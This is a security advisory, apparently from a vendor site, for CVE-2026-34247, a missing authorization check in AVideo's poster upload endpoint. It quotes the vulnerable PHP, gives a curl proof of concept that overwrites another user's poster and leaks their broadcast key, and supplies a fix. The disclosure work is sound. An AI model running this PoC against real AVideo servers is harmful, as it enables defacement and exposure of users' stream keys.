CVE-2026-34247

The plugin/Live/uploadPoster.php endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary live_schedule_id. The endpoint only checks User::isLogged() but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a socketLiveOFFCallback notification containing the victim's broadcast key and user ID to all connected WebSocket clients.

Details

The vulnerable endpoint at plugin/Live/uploadPoster.php accepts a live_schedule_id from $_REQUEST and uses it to determine poster file paths and trigger socket notifications without ownership validation.

Entry point, attacker-controlled input (line 11-12):

$live_servers_id = intval($_REQUEST['live_servers_id']);
$live_schedule_id = intval($_REQUEST['live_schedule_id']);

Insufficient auth check (line 14-17):

if (!User::isLogged()) {
    $obj->msg = 'You cant edit this file';
    die(json_encode($obj));
}

This only verifies the user is logged in. There is no check that User::getId() matches the schedule owner's users_id.

Poster path resolved by ID alone (line 40-42):

$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);
$obj->file = str_replace($global['systemRootPath'], '', $paths['path']);
$obj->fileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']);

getPosterPaths() is a static method that constructs file paths purely from the numeric ID with no authorization.

Attacker's file overwrites victim's poster (line 48):

if (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) {

Broadcast to all WebSocket clients (line 67-73):

if (!empty($live_schedule_id)) {
    $ls = new Live_schedule($live_schedule_id);
    $array = setLiveKey($ls->getKey(), $ls->getLive_servers_id());
    $array['users_id'] = $ls->getUsers_id();
    $array['stats'] = getStatsNotifications(true);
    Live::notifySocketStats("socketLiveOFFCallback", $array);
}

The Live_schedule constructor (inherited from ObjectYPT) loads data by ID with no auth checks. Live::notifySocketStats() calls sendSocketMessageToAll() which broadcasts to every connected WebSocket client.

Notably, the parallel endpoints DO have ownership checks:

• plugin/Live/view/Live_schedule/uploadPoster.php (line 18-21) checks $row->getUsers_id() != User::getId()
• plugin/Live/uploadPoster.json.php (line 24-27) checks User::isAdmin() || $row->getUsers_id() == User::getId()

This proves the missing check in uploadPoster.php is an oversight, not by-design.

PoC

# Step 1: Log in as a low-privilege user to get a session cookie
curl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \
  -d '[email protected]&pass=attackerpassword'

# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)
curl -b cookies.txt \
  -F '[email protected]' \
  -F 'live_schedule_id=1' \
  -F 'live_servers_id=0' \
  'https://target.com/plugin/Live/uploadPoster.php'

# Expected: 403 or ownership error
# Actual: {} (success), poster overwritten, socketLiveOFFCallback broadcast sent

# Step 3: Verify the poster was replaced
curl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file -
# Output confirms attacker's image now serves as the victim's poster

# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:
# { "key": "<victim_broadcast_key>", "users_id": <victim_user_id>, "stats": {...} }

Schedule IDs are sequential integers and can be enumerated trivially.

1. Content tampering: Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).
2. False offline notifications: The socketLiveOFFCallback broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience.
3. Information disclosure: The broadcast leaks the victim's users_id and broadcast key to all connected WebSocket clients.
4. Enumerable targets: Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-34247 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Add an ownership check after the login verification at line 17 in plugin/Live/uploadPoster.php:

if (!User::isLogged()) {
    $obj->msg = 'You cant edit this file';
    die(json_encode($obj));
}

// Add ownership check for scheduled live streams
if (!empty($live_schedule_id)) {
    $ls = new Live_schedule($live_schedule_id);
    if ($ls->getUsers_id() != User::getId() && !User::isAdmin()) {
        $obj->msg = 'Not authorized';
        die(json_encode($obj));
    }
}

This mirrors the existing authorization pattern already used in uploadPoster.json.php (line 24) and view/Live_schedule/uploadPoster.php (line 18).

1. What is CVE-2026-34247? CVE-2026-34247 is a medium-severity missing authorization vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-34247? CVE-2026-34247 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-34247? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-34247? No fixed version is listed for CVE-2026-34247 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-34247 exploitable, and should I be worried? Whether CVE-2026-34247 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34247 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34247? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authorization checks are enforced consistently on all sensitive operations.